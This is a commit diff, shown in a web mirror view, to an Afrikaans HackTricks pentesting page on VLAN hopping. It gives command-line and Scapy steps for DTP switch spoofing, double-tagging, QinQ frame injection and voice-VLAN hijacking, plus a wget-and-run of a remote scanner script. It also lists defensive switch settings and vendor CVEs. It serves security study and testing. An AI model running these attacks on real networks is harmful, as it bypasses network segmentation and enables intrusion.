mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
		
							parent
							
								
									20ceed1f58
								
							
						
					
					
						commit
						b58b1e85e6
					
				@ -20,10 +20,11 @@ SW1(config)# interface GigabitEthernet 0/2
 | 
				
			|||||||
SW1(config-if)# switchport trunk encapsulation dot1q
 | 
					SW1(config-if)# switchport trunk encapsulation dot1q
 | 
				
			||||||
SW1(config-if)# switchport mode trunk
 | 
					SW1(config-if)# switchport mode trunk
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Die oorgang na trunk-modus sal tydelik konneksie ontwrig, maar dit kan daarna herstel word.
 | 
					Die oorskakeling na trunk-modus sal tydelik konneksie onderbreek, maar dit kan daarna herstel word.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Virtuele interfaces word dan geskep, VLAN-ID's toegeken en geaktiveer:
 | 
					Virtuele interfaces word dan geskep, VLAN-ID's toegeken en geaktiveer:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
 | 
					# Legacy (vconfig) – still works but deprecated in modern kernels
 | 
				
			||||||
sudo vconfig add eth0 10
 | 
					sudo vconfig add eth0 10
 | 
				
			||||||
sudo vconfig add eth0 20
 | 
					sudo vconfig add eth0 20
 | 
				
			||||||
sudo vconfig add eth0 50
 | 
					sudo vconfig add eth0 50
 | 
				
			||||||
@ -32,27 +33,36 @@ sudo ifconfig eth0.10 up
 | 
				
			|||||||
sudo ifconfig eth0.20 up
 | 
					sudo ifconfig eth0.20 up
 | 
				
			||||||
sudo ifconfig eth0.50 up
 | 
					sudo ifconfig eth0.50 up
 | 
				
			||||||
sudo ifconfig eth0.60 up
 | 
					sudo ifconfig eth0.60 up
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Modern (ip-link – preferred)
 | 
				
			||||||
 | 
					sudo modprobe 8021q
 | 
				
			||||||
 | 
					sudo ip link add link eth0 name eth0.10 type vlan id 10
 | 
				
			||||||
 | 
					sudo ip link add link eth0 name eth0.20 type vlan id 20
 | 
				
			||||||
 | 
					sudo ip link set eth0.10 up
 | 
				
			||||||
 | 
					sudo ip link set eth0.20 up
 | 
				
			||||||
 | 
					sudo dhclient -v eth0.50
 | 
				
			||||||
 | 
					sudo dhclient -v eth0.60
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Daarna word 'n adresversoek via DHCP gemaak. Alternatiewelik, in gevalle waar DHCP nie haalbaar is nie, kan adresse handmatig gekonfigureer word:
 | 
					Daarna word 'n adresversoek via DHCP gemaak. Alternatiewelik, in gevalle waar DHCP nie haalbaar is nie, kan adresse handmatig gekonfigureer word:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
sudo dhclient -v eth0.10
 | 
					sudo dhclient -v eth0.10
 | 
				
			||||||
sudo dhclient -v eth0.20
 | 
					sudo dhclient -v eth0.20
 | 
				
			||||||
sudo dhclient -v eth0.50
 | 
					 | 
				
			||||||
sudo dhclient -v eth0.60
 | 
					 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Voorbeeld van handmatig 'n statiese IP-adres op 'n koppelvlak (VLAN 10) in te stel:
 | 
					Voorbeeld van handmatig 'n statiese IP-adres op 'n koppelvlak (VLAN 10) in te stel:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
 | 
					sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
 | 
				
			||||||
 | 
					# or
 | 
				
			||||||
 | 
					sudo ip addr add 10.10.10.66/24 dev eth0.10
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Verbondenheid word getoets deur ICMP versoeke na die standaard gateways vir VLANs 10, 20, 50, en 60 te begin.
 | 
					Verbondenheid word getoets deur ICMP versoeke na die standaard poorte vir VLANs 10, 20, 50, en 60 te begin.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Uiteindelik stel hierdie proses die omseiling van VLAN-segmentasie in staat, wat onbeperkte toegang tot enige VLAN-netwerk fasiliteer, en die grondslag vir daaropvolgende aksies stel.
 | 
					Uiteindelik stel hierdie proses die omseiling van VLAN-segmentasie in staat, wat onbeperkte toegang tot enige VLAN-netwerk fasiliteer, en die grondslag vir daaropvolgende aksies lê.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
---
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Ander VLAN-Hopping Tegnieke (geen bevoorregte skakelaar CLI)
 | 
					## Ander VLAN-Hopping Tegnieke (geen bevoorregte skakelaar CLI)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Die vorige metode neem aan dat daar geverifieerde konsole of Telnet/SSH toegang tot die skakelaar is. In werklike betrokkenhede is die aanvaller gewoonlik aan 'n **gewone toegangspoort** gekoppel. Die volgende Laag-2 truuks laat jou dikwels lateraal pivot sonder om ooit in die skakelaar OS in te teken:
 | 
					Die vorige metode neem aan dat geverifieerde konsole of Telnet/SSH toegang tot die skakelaar verkry word. In werklike betrokkenhede is die aanvaller gewoonlik aan 'n **gewone toegangspoort** gekoppel. Die volgende Laag-2 truuks laat jou dikwels lateraal beweeg sonder om ooit in die skakelaar OS in te teken:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### 1. Skakelaar-Spoofing met Dynamiese Trunking Protokol (DTP)
 | 
					### 1. Skakelaar-Spoofing met Dynamiese Trunking Protokol (DTP)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -61,22 +71,29 @@ Cisco-skakelaars wat DTP geaktiveer hou, sal gelukkig 'n trunk onderhandel as di
 | 
				
			|||||||
*Yersinia* en verskeie PoCs outomatiseer die proses:
 | 
					*Yersinia* en verskeie PoCs outomatiseer die proses:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
# Become a trunk using Yersinia (GUI)
 | 
					# Become a trunk using Yersinia (GUI)
 | 
				
			||||||
$ sudo yersinia -G          # Launch GUI → Launch attack → DTP → enabling trunking
 | 
					sudo yersinia -G          # Launch GUI → Launch attack → DTP → enabling trunking
 | 
				
			||||||
 | 
					
 | 
				
			||||||
# Python PoC (dtp-spoof)
 | 
					# Python PoC (dtp-spoof)
 | 
				
			||||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
 | 
					git clone https://github.com/fleetcaptain/dtp-spoof.git
 | 
				
			||||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
 | 
					sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Sodra die poort na trunk oorgeskakel word, kan jy 802.1Q sub-interfaces skep en presies soos in die vorige afdeling getoon, pivot. Moderne Linux-kernels vereis nie meer *vconfig* nie; gebruik eerder *ip link*:
 | 
					Recon helper (passief vingerafdruk die poort se DTP-toestand):
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
sudo modprobe 8021q
 | 
					sudo modprobe 8021q
 | 
				
			||||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
 | 
					sudo ip link add link eth0 name eth0.30 type vlan id 30
 | 
				
			||||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
 | 
					sudo ip addr add 10.10.30.66/24 dev eth0.30
 | 
				
			||||||
sudo ip link set eth0.30 up
 | 
					sudo ip link set eth0.30 up
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# or
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
 | 
				
			||||||
 | 
					sudo python3 dtpscan.py -i eth0
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					Sodra die poort na trunk oorgeskakel word, kan jy 802.1Q sub-interfases skep en presies soos in die vorige afdeling getoon, pivot.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### 2. Dubbel-Tagging (Native-VLAN Misbruik)
 | 
					### 2. Dubbel-Tagging (Native-VLAN Misbruik)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
As die aanvaller op die **native (onttag) VLAN** sit, kan 'n vervaardigde raam met *twee* 802.1Q koppe na 'n tweede VLAN "spring" selfs wanneer die poort in toegangmodus vergrendel is. Gereedskap soos **VLANPWN DoubleTagging.py** (2022-2024 verfrissing) outomatiseer die inspuiting:
 | 
					As die aanvaller op die **native (ongemerkte) VLAN** sit, kan 'n vervaardigde raam met *twee* 802.1Q koppe na 'n tweede VLAN spring, selfs wanneer die poort in toegangmodus vergrendel is. Gereedskap soos **VLANPWN DoubleTagging.py** (2022-2025 verfrissing) outomatiseer die inspuiting:
 | 
				
			||||||
```bash
 | 
					```bash
 | 
				
			||||||
python3 DoubleTagging.py \
 | 
					python3 DoubleTagging.py \
 | 
				
			||||||
--interface eth0 \
 | 
					--interface eth0 \
 | 
				
			||||||
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
 | 
				
			|||||||
--victim 10.10.20.24 \
 | 
					--victim 10.10.20.24 \
 | 
				
			||||||
--attacker 10.10.1.54
 | 
					--attacker 10.10.1.54
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Packet walk-through:
 | 
					### 3. QinQ (802.1ad) Stapeling
 | 
				
			||||||
1. Die buite etiket (1) word verwyder deur die eerste skakel omdat dit die inheemse VLAN ooreenstem.
 | 
					 | 
				
			||||||
2. Die binne etiket (20) is nou blootgestel; die raamwerk word na die trunk na VLAN 20 gestuur.
 | 
					 | 
				
			||||||
 | 
					
 | 
				
			||||||
Die tegniek werk steeds in 2025 op netwerke wat die inheemse VLAN op die standaard laat en ongetagde rame aanvaar.
 | 
					Baie ondernemingskerns ondersteun *Q-in-Q* diensverskaffer enkapsulasie. Waar toegelaat, kan 'n aanvaller arbitrêre 802.1Q-gemerkte verkeer binne 'n verskaffer (S-tag) tonnel om sekuriteitsgebiede oor te steek. Vang vir ethertype `0x88a8` en probeer om die buite-tag met Scapy te verwyder:
 | 
				
			||||||
 | 
					 | 
				
			||||||
### 3. QinQ (802.1ad) Stacking
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
Baie ondernemingskerns ondersteun *Q-in-Q* diensverskaffer enkapsulasie. Waar toegelaat, kan 'n aanvaller willekeurige 802.1Q-getagde verkeer binne 'n verskaffer (S-tag) tonnel om sekuriteitsgebiede oor te steek. Vang vir 802.1ad ethertype 0x88a8 en probeer om die buite etiket met Scapy te pop:
 | 
					 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
from scapy.all import *
 | 
					from scapy.all import *
 | 
				
			||||||
outer = 100      # Service tag
 | 
					outer = 100      # Service tag
 | 
				
			||||||
@ -102,15 +113,43 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
 | 
				
			|||||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
 | 
					frame = Dot1Q(type=0x88a8, vlan=outer)/payload
 | 
				
			||||||
sendp(frame, iface="eth0")
 | 
					sendp(frame, iface="eth0")
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
 | 
					### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Korporatiewe toegangspoorte sit dikwels in 'n *“access + voice”* konfigurasie: ongetagde data VLAN vir die werkstasie en 'n getagde stem VLAN wat deur CDP of LLDP-MED geadverteer word. Deur 'n IP-telefoon na te boots, kan die aanvaller outomaties die VoIP VLAN ontdek en daarin spring—selfs wanneer DTP gedeaktiveer is.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					*VoIP Hopper* (verpak in Kali 2025.2) ondersteun CDP, DHCP opsies **176/242**, en volle LLDP-MED spoofing:
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					# One-shot discovery & hop
 | 
				
			||||||
 | 
					sudo voiphopper -i eth0 -f cisco-7940
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
 | 
				
			||||||
 | 
					sudo voiphopper -i eth0 -z
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Die tegniek omseil data/spraak skeiding en is uiters algemeen op ondernemingsrand-skakels in 2025 omdat LLDP outomatiese beleid standaard geaktiveer is op baie modelle.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
---
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Verdedigende Aanbevelings
 | 
					## Verdedigende Aanbevelings
 | 
				
			||||||
 | 
					
 | 
				
			||||||
1. Deaktiveer DTP op alle gebruikersfrontpoorte: `switchport mode access` + `switchport nonegotiate`.
 | 
					1. Deaktiveer DTP op alle gebruikersfrontpoorte: `switchport mode access` + `switchport nonegotiate`.
 | 
				
			||||||
2. Verander die inheemse VLAN op elke trunk na 'n **onbenutte, swartgat VLAN** en tag dit: `vlan dot1q tag native`.
 | 
					2. Verander die inheemse VLAN op elke trunk na 'n **onbenutte, swartgat VLAN** en merk dit: `vlan dot1q tag native`.
 | 
				
			||||||
3. Snoei onnodige VLANs op trunks: `switchport trunk allowed vlan 10,20`.
 | 
					3. Prune onnodige VLANs op trunks: `switchport trunk allowed vlan 10,20`.
 | 
				
			||||||
4. Handhaaf poortsekuriteit, DHCP snooping & dinamiese ARP-inspeksie om onwettige Laag-2 aktiwiteit te beperk.
 | 
					4. Handhaaf poortsekuriteit, DHCP snooping, dinamiese ARP-inspeksie **en 802.1X** om onwettige Laag-2 aktiwiteit te beperk.
 | 
				
			||||||
5. Verkies private-VLANs of L3 segmentasie eerder as om slegs op 802.1Q skeiding te vertrou.
 | 
					5. Deaktiveer LLDP-MED outomatiese spraakbeleide (of sluit dit aan by geverifieerde MAC OUI's) as IP-foon spoofing nie vereis word nie.
 | 
				
			||||||
 | 
					6. Verkies private-VLANs of L3 segmentasie eerder as om slegs op 802.1Q skeiding te vertrou.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Werklike Verskaffer Kwetsbaarhede (2022-2024)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Selfs 'n perfek geharde skakelkonfigurasie kan steeds ondermyn word deur firmware foute. Onlangs voorbeelde sluit in:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* **CVE-2022-20728† – Cisco Aironet/Catalyst Toegangspunte** laat inspuiting van die inheemse VLAN in nie-inheemse WLAN VLANs toe, wat bedrade/draadlose segmentasie omseil.
 | 
				
			||||||
 | 
					* **CVE-2024-20465 (Cisco IOS Industriële Ethernet)** laat ACL omseiling op SVIs toe na die omskakeling van Resilient Ethernet Protocol, wat verkeer tussen VRFs/VLANs lek. Patches 17.9.5 of later.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Monitor altyd die verskaffer advies oor VLAN-verwante omseiling/ACL probleme en hou infrastruktuur beelde op datum.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
---
 | 
					---
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -119,5 +158,7 @@ sendp(frame, iface="eth0")
 | 
				
			|||||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 | 
					- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 | 
				
			||||||
- VLANPWN aanval toolkit – <https://github.com/casterbytethrowback/VLANPWN>
 | 
					- VLANPWN aanval toolkit – <https://github.com/casterbytethrowback/VLANPWN>
 | 
				
			||||||
- Twingate "Wat is VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
 | 
					- Twingate "Wat is VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
 | 
				
			||||||
 | 
					- VoIP Hopper projek – <https://github.com/hmgh0st/voiphopper>
 | 
				
			||||||
 | 
					- Cisco Advies “cisco-sa-apvlan-TDTtb4FY” – <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user